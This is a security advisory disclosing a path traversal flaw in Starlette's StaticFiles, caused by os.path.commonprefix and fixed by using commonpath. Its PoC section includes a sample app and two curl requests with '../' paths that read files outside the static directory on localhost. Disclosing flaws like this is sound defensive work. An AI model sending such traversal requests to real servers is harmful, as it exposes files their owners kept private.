### Summary
When using `StaticFiles`, if there's a file or directory that starts with the same name as the `StaticFiles` directory, that file or directory is also exposed via `StaticFiles` which is a path traversal vulnerability.
### Details
The root cause of this issue is the usage of `os.path.commonprefix()`:
https://github.com/encode/starlette/blob/4bab981d9e870f6cee1bd4cd59b87ddaf355b2dc/starlette/staticfiles.py#L172-L174
As stated in the Python documentation (https://docs.python.org/3/library/os.path.html#os.path.commonprefix) this function returns the longest prefix common to paths.
When passing a path like `/static/../static1.txt`, `os.path.commonprefix([full_path, directory])` returns `./static` which is the common part of `./static1.txt` and `./static`, It refers to `/static/../static1.txt` because it is considered in the staticfiles directory. As a result, it becomes possible to view files that should not be open to the public.
The solution is to use `os.path.commonpath` as the Python documentation explains that `os.path.commonprefix` works a character at a time, it does not treat the arguments as paths.
### PoC
In order to reproduce the issue, you need to create the following structure:
```
├── static
│   ├── index.html
├── static_disallow
│   ├── index.html
└── static1.txt
```
And run the `Starlette` app with:
```py
import uvicorn
from starlette.applications import Starlette
from starlette.routing import Mount
from starlette.staticfiles import StaticFiles
routes = [
    Mount("/static", app=StaticFiles(directory="static", html=True), name="static"),
]
app = Starlette(routes=routes)
if __name__ == "__main__":
    uvicorn.run(app, host="0.0.0.0", port=8000)
```
And running the commands:
```shell
curl --path-as-is 'localhost:8000/static/../static_disallow/'
curl --path-as-is 'localhost:8000/static/../static1.txt'
```
The `static1.txt` and the directory `static_disallow` are exposed.
### Impact
Confidentiality is breached: An attacker may obtain files that should not be open to the public.
### Credits
Security researcher **Masashi Yamane of LAC Co., Ltd** reported this vulnerability to **JPCERT/CC Vulnerability Coordination Group** and they contacted us to coordinate a patch for the security issue.
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